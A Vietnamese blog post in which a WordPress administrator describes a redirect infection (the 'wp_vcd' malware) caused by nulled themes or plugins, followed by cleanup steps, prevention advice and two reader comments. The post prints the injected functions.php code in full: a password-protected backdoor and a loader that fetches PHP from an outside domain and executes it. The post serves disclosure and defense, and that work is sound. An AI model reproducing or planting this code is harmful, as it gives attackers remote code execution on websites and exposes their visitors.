Code bị chèn thêm vào file functions trong WordPress


Thay mặt những người quản trị website Tìm ở đây xin lỗi các bạn đọc nếu trong thời gian vừa rồi các bạn khi truy cập website timoday.edu.vn bị gặp vấn đề khi mở một bài viết trên website này thì bị bật ra một link tới một trang khác.

Mình chia sẻ bài viết này để những bạn đang quản trị website sử dụng WordPress nếu gặp vấn đề này giống mình thì biết cách sửa lỗi, ngoài ra nếu chưa gặp thì biết cách phòng tránh bị cài mã độc vào website của chính mình.

Vấn đề gặp phải của website timoday.edu.vn đợt vừa rồi là khi mở trên máy cá nhân của mình thì không vấn đề gì, nhưng khi mở trên máy tính khác thì phát hiện ra cứ kích vào một bài viết nào đó nó tự động mở ra một liên kết khác. Ban đầu mình nghĩ do máy tính đó bị cài Malware nên không quan tâm, sau đó mình truy cập từ SmartPhone thì thấy vấn đề tương tự.
Sau quá trình rà soát phiên bản trên máy chủ và phiên bản trên local (thực hiện compare hai phiên bản) thì thấy code trên server bị chèn thêm đoàn code này ở file function.php


if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxxxxx'))

	{

$div_code_name="wp_vcd";

		switch ($_REQUEST['action'])

			{
				case 'change_domain';

					if (isset($_REQUEST['newdomain']))

						{
							if (!empty($_REQUEST['newdomain']))

								{

                                                                           if ($file = @file_get_contents(__FILE__))

		                                                                    {

                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code6\.php/i',$file,$matcholddomain))

                                                                                                             {



			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);

			                                                                           @file_put_contents(__FILE__, $file);

									                           print "true";
                                                                                                             }
		                                                                    }
								}
						}
				break;
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";

			}
		die("");

	}

if ( ! function_exists( 'swps_stemps_ssetups' ) ) {  

$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];

if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code6.php?i=".$path))

{
function swps_stemps_ssetups($phpCode) {

    $tmpfname = tempnam(sys_get_temp_dir(), "swps_stemps_ssetups");

    $handle = fopen($tmpfname, "w+");

    fwrite($handle, "?php\n" . $phpCode); 
    fclose($handle); 
    include $tmpfname; 
    unlink($tmpfname); 
    return get_defined_vars(); 
} 
extract(swps_stemps_ssetups($tmpcontent)); } } } ?
<?php

Mình cũng đã thử sử dụng các plugin tìm mã độc cài trên WordPress như 6Scan Security, Wordfence Security,Antivirus … nhưng cũng không ăn thua. Mình cũng đã nhờ sự hỗ trợ của nhà cung cấp dịch vụ hosting (vì mình nghĩ do hosting bị dính virus) nhưng họ cũng bó tay. Mình thử Copy đè hẳn file functions.php trên server nhưng lập tức lại bị đè đoạn code trên, xoá cả theme đi copy theme khác cũng bị tương tự. Cuối cùng tìm kiếm trên mạng cũng có giải pháp sử lý triệt để:

  • Khôi phục lại core WordPress
  • Xoá các file wp.class.php và wp-cd.php trong wp-includes
  • Và sau cùng xoá đoạn code bị chèn thêm vào trong file functions.php trong theme của bạn

Cách phòng trách

  • Không cài các theme và các plugin không rõ nguồn gốc (nên tải từ site chính thức wordpress.org và xem đánh giá của người sử dụng)
  • Tránh cài plugin wootabs.zip từ wplocker.com

Các bạn có thể xem thêm ở đây

Có thể bạn sẽ thích…

2 phản hồi

  1. Tim viết:

    Mình cũng bị giống bạn :)) Dùng theme Newspaper null. Mới đầu đang chạy ngon… update từ bạn 7.6 lên 8.1 thấy cũng bình thường những môt số css và cài đặt chưa đc cập nhật nên về v7.6 thì éo vào được… Web không load nổi luôn,… lay hoay xóa luôn cả 2 theme mới và cũ đi thì nó về giao diện mặc định và vào được web… Sau thử đi thử lại … thì vào được web với v8.1 nhưng tốc độ load cực chậm trong admincp… Tìm file funcition thì thấy một đoạn mà y chang của bạn… XÓa đi thì lại éo vào được web =)) Bực cả mình….

    Khắc phục nhanh: Vào phần cập nhật wordpress và nhấn vào cập nhật (Dù là bản mới rồi thì cứ nhấn vô cho nó cài lại vài file) Xong rồi vô function để xóa code đó đi thì lại vào ầm ầm 😀

    • Phan Tiến viết:

      Cảm ơn bạn chia sẻ. Mình bị sau đó tìm hiểu thấy nhiều người bị. Cài theme hoặc plugin “đểu” hay “nulled” là bị dính ngay

Bình luận

Thư điện tử của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *